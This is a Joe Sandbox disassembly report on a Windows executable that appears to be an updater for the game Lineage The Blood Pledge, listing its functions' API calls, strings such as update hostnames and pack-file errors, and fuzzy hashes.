closesocket.WS2_32(?), ref: 004089BA
_close.MSVCRT ref: 004089D0
EndDialog.USER32(?,000000FF), ref: 004089F1

Strings

host1 : %s host2 : %s, xrefs: 004084F2
can't connect dns 2 host , xrefs: 0040882F
host1 : %s host2 : %s , xrefs: 00408575, 004087D7
Can't bind socket, xrefs: 00408698
error code : %d, xrefs: 004084D9, 0040855B, 004087BD
updating by ip, xrefs: 004084C4
updating by entry 2 , xrefs: 004087A9
invalid socket, xrefs: 00408653
dns 2 total : %d dns 2 number : %d , xrefs: 0040884D
63.104.49.23, xrefs: 00408755
Can't Connect, xrefs: 00408500, 004088AC
can't get host by dns 2 , xrefs: 00408816
can't get host by host1 dns, xrefs: 00408590
updating by dns , xrefs: 00408547
dns total : %d dns number : %d , xrefs: 004085C7
can't connect dns host, xrefs: 004085A9
ip : %s , xrefs: 0040860D, 00408893
can't connect host 2 , xrefs: 004087F5

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: closesocket$Dialog$ErrorLasthtonlinet_addrinet_ntoa$FileWrite_closebindconnectgethostbynamehtonslstrlenrandsocketwvsprintf
String ID: 63.104.49.23$Can't Connect$Can't bind socket$can't connect dns 2 host $can't connect dns host$can't connect host 2 $can't get host by dns 2 $can't get host by host1 dns$dns 2 total : %d dns 2 number : %d $dns total : %d dns number : %d $error code : %d$host1 : %s host2 : %s$host1 : %s host2 : %s $invalid socket$ip : %s $updating by dns $updating by entry 2 $updating by ip
API String ID: 1721191639-658854503
Opcode ID: 93d140a4cdbebd31d5611b6d480723f00d94bc541645e713151c54f087676a22
Instruction ID: 39551a8eeed1401d7f628dc5bcbaa7f4d77872479ec66451824b1c2f1ea740fc
Opcode Fuzzy Hash: 93d140a4cdbebd31d5611b6d480723f00d94bc541645e713151c54f087676a22
Instruction Fuzzy Hash: 7AE12874A003009BC710AF64ED8595B37A4FB88718B50857EF885B73D1DB7D9846CBAD

Function 004093C0 Relevance: 67.1, APIs: 30, Strings: 8, Instructions: 554
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InvalidateRect.USER32(?,?,00000000), ref: 0040951E
InvalidateRect.USER32(?,?,00000000), ref: 0040954A
InvalidateRect.USER32(?,0000014A,00000000), ref: 004095A2
InvalidateRect.USER32(?,0000014A,00000000), ref: 004095C3
InvalidateRect.USER32(?,?,00000000), ref: 004095EB
InvalidateRect.USER32(?,0000014A,00000000), ref: 00409608
73A1A570.USER32(?), ref: 00409610
SetBkMode.GDI32(00000000,00000001), ref: 0040961B
GetObjectA.GDI32(00000000,00000018,0042C008), ref: 00409643
SelectObject.GDI32(00000000,00000000), ref: 0040965A
GetPixel.GDI32(00000000,00000000,00000000), ref: 00409663
DeleteDC.GDI32(00000000), ref: 004096D2
GetObjectA.GDI32(00000000,00000018,0042C020), ref: 00409701
SelectObject.GDI32(00000000,00000000), ref: 00409718
GetPixel.GDI32(00000000,00000000,00000000), ref: 00409721
DeleteDC.GDI32(00000000), ref: 004097EE
GetObjectA.GDI32(00000000,00000018,0042C038), ref: 0040981F
SelectObject.GDI32(00000000,00000000), ref: 00409836
GetPixel.GDI32(00000000,00000000,00000000), ref: 0040983F
ScrollWindow.USER32(?,00000000,000000FA,00000000,00000000), ref: 0040993C
InvalidateRect.USER32(?,00000000,00000000), ref: 00409951
InvalidateRect.USER32(?,00000000,00000000), ref: 0040995C
ScrollWindow.USER32(?,00000000,FFFFFF06,00000000,00000000), ref: 004099AE
InvalidateRect.USER32(?,00000000,00000000), ref: 004099C3
InvalidateRect.USER32(?,00000000,00000000), ref: 004099CD
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 00409AA1

Strings

gfff, xrefs: 00409694
gfff, xrefs: 0040956D
gfff, xrefs: 00409981
gfff, xrefs: 004097D0
gfff, xrefs: 00409789
gfff, xrefs: 004099DA
gfff, xrefs: 00409A64
,, xrefs: 0040945B

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: InvalidateRect$Object$PixelSelectWindow$DeleteScroll$A570ModeNtdllProc_
String ID: ,$gfff$gfff$gfff$gfff$gfff$gfff$gfff
API String ID: 565317530-33231140
Opcode ID: e7b3f9ec5085d8a3cc5e500f01163fb4c1f685ac14b736a6681669a1c8a4172a
Instruction ID: ad69d5fd95c6e12ca3620a646f037bdf545fe48cff6134b29766add31207a344
Opcode Fuzzy Hash: e7b3f9ec5085d8a3cc5e500f01163fb4c1f685ac14b736a6681669a1c8a4172a
Instruction Fuzzy Hash: EF12C0B5604248AFD314CF29EC84A7B77E9EBC9304F44853EF54593392DB78AC418B6A

Function 00408290 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 258
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

time.MSVCRT(00000000), ref: 0040829A
srand.MSVCRT ref: 004082A1
EndDialog.USER32(?,000000FF), ref: 004082C8
socket.WS2_32(00000002,00000001,00000000), ref: 004082F7
EndDialog.USER32(?,000000FF), ref: 0040831C

Strings

Can't bind socket, xrefs: 0040835E
invalid socket, xrefs: 00408307

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Dialog$socketsrandtime
String ID: Can't bind socket$invalid socket
API String ID: 1151004215-413266663
Opcode ID: 61edf4585e5c344069ce076e42dbdf9f3d4770a32d7988672e834ad31e70eebe
Instruction ID: d33af3c2163843de5f8ecff5c0b2c46479a01783d05cd1e5bffdf96d018db75f
Opcode Fuzzy Hash: 61edf4585e5c344069ce076e42dbdf9f3d4770a32d7988672e834ad31e70eebe
Instruction Fuzzy Hash: 529149745003009BC710AF68ED44A9B77A0FF89318F44463EF855A73E1DB79A946CBAE

Function 00409080 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 249
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFontIndirectA.GDI32 ref: 004090D0
73A1A570.USER32(?), ref: 00409104
SetBkMode.GDI32(00000000,00000001), ref: 0040910F
GetObjectA.GDI32(00000000,00000018,0042BF78), ref: 00409126
SelectObject.GDI32(00000000,00000000), ref: 0040913D
73A24D40.GDI32(00000000,00000000,00000000,00000175,000000FA,00000000,00000020,00000028,00CC0020), ref: 0040915C
DeleteDC.GDI32(00000000), ref: 00409163
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 0040918A
CreateWindowExA.USER32(00000000,button,0042C278,5000000B,?,?,000000B8,00000016,?,00000BB8,?,00000000), ref: 0040920A
SelectObject.GDI32(00000000,00000000), ref: 00409273
73A24D40.GDI32(?,?,?,?,?,00000000,00000000,00000000,00CC0020), ref: 0040929C
DeleteDC.GDI32(00000000), ref: 004092A3
73A1A570.USER32(?), ref: 004092AD
SetBkMode.GDI32(00000000,00000001), ref: 004092B8
GetObjectA.GDI32(00000000,0000003C,?), ref: 004092C6
SelectObject.GDI32(00000000,00000000), ref: 004092CE
SetTextColor.GDI32(00000000,00000000), ref: 004092D7
SetTextAlign.GDI32(00000000,00000006), ref: 004092E0
TextOutA.GDI32(00000000,0000005D,00000003,?), ref: 00409323
EndDialog.USER32(?,?), ref: 004093A0

Strings

button, xrefs: 00409203

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Object$SelectText$A570CreateDeleteModeWindow$AlignColorDialogFontIndirectNtdllProc_
String ID: button
API String ID: 1251463983-973515837
Opcode ID: 079597768ebf10388918e9ac7c8da415abaeab1a726659306fdd9953dd61cf31
Instruction ID: 97f3adc7cd7aff7bc1a271ce3c2985495306b846210f8b0d7321a992ebd2d1f8
Opcode Fuzzy Hash: 079597768ebf10388918e9ac7c8da415abaeab1a726659306fdd9953dd61cf31
Instruction Fuzzy Hash: 0A91EA75304305AFD320CB64DC48FAB7BA9EB89311F008629FA15A72D1CBB4AD45CB69

Function 00407D50 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 308filesleepwindowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407D73
FindFirstFileA.KERNEL32(00423624,?), ref: 00407EF5
realloc.MSVCRT ref: 00407F28
FindNextFileA.KERNEL32(00000000,00000010), ref: 00407F88
FindClose.KERNEL32(00000000), ref: 00407F97
SetFileAttributesA.KERNEL32(?,00000080), ref: 0040805F
DeleteFileA.KERNEL32(?), ref: 0040806A
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00408087
free.MSVCRT ref: 00408090
Sleep.KERNEL32(000001F4), ref: 0040809E

Strings

.pak, xrefs: 00407E00
.idx, xrefs: 00407DD5
.$$$, xrefs: 00407E2B

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$Find$??3@AttributesCloseDeleteFirstMessageNextSendSleepfreerealloc
String ID: .$$$$.idx$.pak
API String ID: 3059534480-1417876688
Opcode ID: 9fff7417213362c5411c01a0d5264272eed1b6062a0d8486662a987e6cc153f5
Instruction ID: 5a013326e3552b0e42e49a698d267bbef56f4e4546462a7d611e60320ade1583
Opcode Fuzzy Hash: 9fff7417213362c5411c01a0d5264272eed1b6062a0d8486662a987e6cc153f5
Instruction Fuzzy Hash: 4F91C432B045044BC728D938A85156F76D2FBC4370F59473EB96B973C0DFB89D098299

Function 0040A4E0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0040A50D
_strcmpi.MSVCRT ref: 0040A564
_strcmpi.MSVCRT ref: 0040A58C
sprintf.MSVCRT ref: 0040A5C9
MessageBoxA.USER32(00000000,?,Warning,00000004), ref: 0040A5E3

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A4EA
Warning, xrefs: 0040A5DB, 0040A621
UDP, xrefs: 0040A56F
Notice, xrefs: 0040A60A, 0040A658
expl32.exe, xrefs: 0040A586
.exe, xrefs: 0040A55E

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _strcmpi$MessageVersionsprintf
String ID: .exe$Notice$UDP$Warning$expl32.exe$usmainupd2.lineageTheBloodPledge.com
API String ID: 3312229095-3245884135
Opcode ID: 9bacac1aa02a6501fae6f23081cdde6fe2aa78fd54b0307e4d3bfa66c2d10a81
Instruction ID: 7108c0134235b0d24c7974922313b1a45e4bbdfc123481e3740c2cbd825b6a9b
Opcode Fuzzy Hash: 9bacac1aa02a6501fae6f23081cdde6fe2aa78fd54b0307e4d3bfa66c2d10a81
Instruction Fuzzy Hash: 2741E571244300ABD714DB60EC41FEB73A4EB44709F08493AF944E62C1E7B9E959CBAB

Function 0040E790 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 317COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040E8E6

Part of subcall function 0040F070: fprintf.MSVCRT ref: 0040F090

Part of subcall function 0040ED10: _errno.MSVCRT ref: 0040ED1B
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED47
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED81

fprintf.MSVCRT ref: 0040EB6F
fprintf.MSVCRT ref: 0040EBBA

Strings

invalid compressed data--length error, xrefs: 0040EAEA
invalid compressed data--crc error, xrefs: 0040EAD5
len %ld, siz %ld, xrefs: 0040E8E0
out of memory, xrefs: 0040E840
internal error, invalid method, xrefs: 0040E955
invalid compressed data--format violated, xrefs: 0040E852
invalid compressed data--length mismatch, xrefs: 0040E8EC
%s: %s has more than one entry -- unchanged, xrefs: 0040EBB4
%s: %s has more than one entry--rest ignored, xrefs: 0040EB69

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_read$_errno
String ID: %s: %s has more than one entry -- unchanged$%s: %s has more than one entry--rest ignored$internal error, invalid method$invalid compressed data--crc error$invalid compressed data--format violated$invalid compressed data--length error$invalid compressed data--length mismatch$len %ld, siz %ld$out of memory
API String ID: 2012623344-3220522523
Opcode ID: 46af8c2c4373098f2a9bc839d858992bbc34b0fdb0185fa1fe0c0c9ddf4604c2
Instruction ID: 60c62ac95dc047ac150cbd7fd388a3c216baec0873c987c0950f82a66b40e376
Opcode Fuzzy Hash: 46af8c2c4373098f2a9bc839d858992bbc34b0fdb0185fa1fe0c0c9ddf4604c2
Instruction Fuzzy Hash: C0B156B3E042424BE714DF29EC8166A77E1EB81305F09893FD456E3392D6789819CBAD

Function 0040DCA0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 402COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040DD22
fprintf.MSVCRT ref: 0040DD82
_read.MSVCRT ref: 0040DE54

Part of subcall function 0040EE70: _write.MSVCRT ref: 0040EE83
Part of subcall function 0040EE70: _write.MSVCRT ref: 0040EEA3

Strings

corrupt input., xrefs: 0040DF18, 0040DF9C, 0040DFA8
%s: %s: warning, unknown flags 0x%x, xrefs: 0040DD1C
corrupt input. Use zcat to recover some data., xrefs: 0040DFA3
%s: %s: compressed with %d bits, can only handle %d bits, xrefs: 0040DD7C

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _writefprintf$_read
String ID: %s: %s: compressed with %d bits, can only handle %d bits$%s: %s: warning, unknown flags 0x%x$corrupt input.$corrupt input. Use zcat to recover some data.
API String ID: 4113033460-489315195
Opcode ID: 2c270c05960ad287de41c3cdda716c17bbe9cd230a70337c50c0add8dffc0378
Instruction ID: 3b57f833bc613edc37e60aaf0f7d13840ec562a0a89938886b7465e2446b7979
Opcode Fuzzy Hash: 2c270c05960ad287de41c3cdda716c17bbe9cd230a70337c50c0add8dffc0378
Instruction Fuzzy Hash: BBE190B1A083458FD314CF69E88076A7BE1EB98304F04493EF986D7392D379D919CB99

Function 0040D8B0 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

Bad table, xrefs: 0040D914

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID: Bad table
API String ID: 0-3047020491
Opcode ID: 95fc75dc60bc767d077f3f66d9364e0127cd733c9df23657a3df3dcb0e268cce
Instruction ID: d48034462d8855386d5c35e8060866e6f79aac56075eea6e3544f990265ef6ef
Opcode Fuzzy Hash: 95fc75dc60bc767d077f3f66d9364e0127cd733c9df23657a3df3dcb0e268cce
Instruction Fuzzy Hash: 8651F731A087118BD718AF68C45026FB3E2EFD8700F25493DD995A77A0E676D849CB8A

Function 00405AF0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _read$_errno
String ID:
API String ID: 2630594027-0
Opcode ID: 4c9ad85b3923edc0dbc8e8398af3cb2e2ea08ed3002972ea0bd427a6df888256
Instruction ID: 887640ac395f1a5db8850504ce1c43d8fcace77e014b7401d231caf187241dbf
Opcode Fuzzy Hash: 4c9ad85b3923edc0dbc8e8398af3cb2e2ea08ed3002972ea0bd427a6df888256
Instruction Fuzzy Hash: 58B1E1716087424BD708EF28E89422FB7E1FB84700F144E7ED496E7392E774A9558BC9

Function 0040F203 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c830666ce3dbc7f646bc1f83c3c6b4dd443af3cad4ee82aeea01b6ba1d353a9
Instruction ID: 515a171eabb2e377bae0157e7ea1b0293aed4d94f90945b710cf89dd4bd5b173
Opcode Fuzzy Hash: 8c830666ce3dbc7f646bc1f83c3c6b4dd443af3cad4ee82aeea01b6ba1d353a9
Instruction Fuzzy Hash: B681A77451D2818EE314DB39F98162E3BD19B69345B040CBED542ABBA3C7348A19C7AE

Function 0040D2A0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5307d1bd2f576f8720775d330983b66a8220b41fd9e36badaed59fce44080fdb
Instruction ID: d28bc8b52e312b286ffa472db19ca552de15cd7a648893b82bd3dfdf947a4cac
Opcode Fuzzy Hash: 5307d1bd2f576f8720775d330983b66a8220b41fd9e36badaed59fce44080fdb
Instruction Fuzzy Hash: CF312A65A082429BC714DF79AC506AB77D9AF89304F08843DFC89D7341E634D80EC7AA

Function 00407290 Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 183
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(0042374C,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004072B8
MessageBoxA.USER32(00000000,Can't open pack file.,0041BA48,00000000), ref: 004072CD
SetFileAttributesA.KERNEL32(0042BD64,00000080), ref: 004072E7
CreateFileA.KERNEL32(0042BD64,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00407301
MessageBoxA.USER32(00000000,Can't create temporary file.,0041BA48,00000000), ref: 0040731A
CloseHandle.KERNEL32(00000000), ref: 00407321

Strings

Can't open pack file., xrefs: 004072C7
Can't create the buffer., xrefs: 00407454
Seek error on pack file., xrefs: 00407468
Can't read from the pack file., xrefs: 00407474
Can't write to the temporary file., xrefs: 00407482
Can't create temporary file., xrefs: 00407314

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$CreateMessage$AttributesCloseHandle
String ID: Can't create temporary file.$Can't create the buffer.$Can't open pack file.$Can't read from the pack file.$Can't write to the temporary file.$Seek error on pack file.
API String ID: 1554990673-618158162
Opcode ID: 2c2549749d5ed15ff31d72a332b69c00f4376567fac94e010c4ee392cd26b15c
Instruction ID: 088cd2c8b316aafd37c47dcd1b3932d69884186d12cb0bb1d7e292a7bbf51f2a
Opcode Fuzzy Hash: 2c2549749d5ed15ff31d72a332b69c00f4376567fac94e010c4ee392cd26b15c
Instruction Fuzzy Hash: 9951B631B84310BBD220AF65BC49F9B7F64EBC4B11F54442AF645A21D1C7BCA48587AE

Function 004075E0 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 364
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0040763F
SetFileAttributesA.KERNEL32(0042374C,00000080), ref: 00407687
CreateFileA.KERNEL32(0042374C,40000000,00000000,00000000,00000003,00000080,00000000), ref: 004076A1
MessageBoxA.USER32(00000000,Can't load the previous pack file.,0041BA48,00000000), ref: 004076BC
_ftol.MSVCRT ref: 0040770E
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 0040771F
CloseHandle.KERNEL32(00000000), ref: 00407973
qsort.MSVCRT ref: 0040798A
free.MSVCRT ref: 00407A45

Strings

Error writing pack file., xrefs: 0040796B
Seek error on pack file., xrefs: 00407915, 0040793E
Can't load the previous pack file., xrefs: 004076B5
Optimizing text files. Please wait., xrefs: 004079B3

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: FileMessage$AttributesCloseCreateHandleSend_ftolfreemallocqsort
String ID: Can't load the previous pack file.$Error writing pack file.$Optimizing text files. Please wait.$Seek error on pack file.
API String ID: 805181380-136849683
Opcode ID: 0bf95afa618e33443f51a1b03c5f87176b80dbd7bfd56cb2b879352834a9e38d
Instruction ID: c08a7ff05d14fec1e8503a5d2842de521340d74c7310671da368bf9f39cc22bb
Opcode Fuzzy Hash: 0bf95afa618e33443f51a1b03c5f87176b80dbd7bfd56cb2b879352834a9e38d
Instruction Fuzzy Hash: 7FC1C071A08300ABD310DF24DC45F6B7BE4ABC8704F14492EF94AA73D0D678E944CB5A

Function 00403810 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 004038AF
fprintf.MSVCRT ref: 0040394E
_open.MSVCRT ref: 004039F5
fprintf.MSVCRT ref: 00403A1D
perror.MSVCRT ref: 00403A28
_close.MSVCRT ref: 00403A72
_close.MSVCRT ref: 00403AA1
_fileno.MSVCRT ref: 00403AC7
fprintf.MSVCRT ref: 00403B99
_close.MSVCRT ref: 00403C26
_close.MSVCRT ref: 00403C3A
_unlink.MSVCRT(0044F8A0), ref: 00403C62

Part of subcall function 00404BB0: printf.MSVCRT ref: 00404BE6
Part of subcall function 00404BB0: printf.MSVCRT ref: 00404BFD
Part of subcall function 00404BB0: _lseek.MSVCRT ref: 00404C3D
Part of subcall function 00404BB0: _read.MSVCRT ref: 00404C62
Part of subcall function 00404BB0: ctime.MSVCRT(0044F880,759A3440,?,759A38A0,004036FF,?,00000008), ref: 00404CEA
Part of subcall function 00404BB0: printf.MSVCRT ref: 00404D1F

Strings

%s: , xrefs: 00403A17
stdout, xrefs: 0040399E
%s: %s is a directory -- ignored, xrefs: 004038A9
-- replaced with %s, xrefs: 00403D02
%s:%s, xrefs: 00403B93
%s: %s compressed to %s, xrefs: 00403B1E
OK, xrefs: 00403C8A
%s: %s has %d other link%c -- unchanged, xrefs: 00403948
%s: %s is not a directory or a regular file - ignored, xrefs: 004038F1

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _closefprintf$printf$_fileno_lseek_open_read_unlinkctimeperror
